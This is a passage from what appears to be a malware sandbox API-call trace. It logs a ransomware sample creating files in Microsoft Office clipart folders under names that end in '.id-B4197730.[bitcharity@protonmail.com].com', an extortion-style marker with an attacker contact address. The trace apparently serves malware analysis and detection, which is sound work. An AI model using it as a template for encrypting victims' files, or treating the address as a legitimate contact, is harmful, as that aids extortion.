Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.453] CloseHandle (hObject=0x1194) returned 1 [0252.458] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.458] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.458] CloseHandle (hObject=0x1194) returned 1 [0252.555] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.556] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198494.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198494.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.556] CloseHandle (hObject=0x1258) returned 1 [0252.557] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.557] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.558] CloseHandle (hObject=0x1258) returned 1 [0252.559] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.559] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200377.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200377.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.562] CloseHandle (hObject=0x1258) returned 1 [0252.563] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.563] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.564] CloseHandle (hObject=0x1258) returned 1 [0252.566] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.567] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200467.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200467.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.567] CloseHandle (hObject=0x1258) returned 1 [0252.568] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.568] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.569] CloseHandle (hObject=0x1258) returned 1 [0252.571] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.571] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.571] CloseHandle (hObject=0x1258) returned 1 [0252.573] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.573] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.573] CloseHandle (hObject=0x1258) returned 1 [0252.574] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.574] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.575] CloseHandle (hObject=0x1258) returned 1 [0252.580] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.580] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.580] CloseHandle (hObject=0x1258) returned 1 [0252.581] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.581] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212601.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212601.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.582] CloseHandle (hObject=0x1258) returned 1 [0252.583] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.583] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212685.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212685.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.584] CloseHandle (hObject=0x1258) returned 1 [0252.588] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.589] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212751.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212751.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.589] CloseHandle (hObject=0x1258) returned 1 [0252.590] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.590] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.590] CloseHandle (hObject=0x1258) returned 1 [0252.720] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.720] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0213243.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0213243.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.720] CloseHandle (hObject=0x1288) returned 1 [0252.722] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.722] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214934.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214934.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.722] CloseHandle (hObject=0x1288) returned 1 [0252.724] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.724] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0214948.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0214948.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.725] CloseHandle (hObject=0x1288) returned 1 [0252.726] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.727] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215070.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.727] CloseHandle (hObject=0x1288) returned 1 [0252.728] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.728] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.729] CloseHandle (hObject=0x1288) returned 1 [0252.730] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.730] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.731] CloseHandle (hObject=0x1288) returned 1 [0252.733] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.733] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.733] CloseHandle (hObject=0x1288) returned 1 [0252.735] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.735] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.736] CloseHandle (hObject=0x1288) returned 1 [0252.737] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.737] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.737] CloseHandle (hObject=0x1288) returned 1 [0252.738] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.739] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.739] CloseHandle (hObject=0x1288) returned 1 [0252.744] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.745] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.745] CloseHandle (hObject=0x1288) returned 1 [0252.747] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.747] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.747] CloseHandle (hObject=0x1288) returned 1 [0252.748] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.748] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.749] CloseHandle (hObject=0x1288) returned 1 [0252.753] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.753] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216600.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.753] CloseHandle (hObject=0x1288) returned 1 [0252.754] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.754] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.755] CloseHandle (hObject=0x1288) returned 1 [0252.764] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.764] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.765] CloseHandle (hObject=0x1228) returned 1 [0252.766] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.766] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 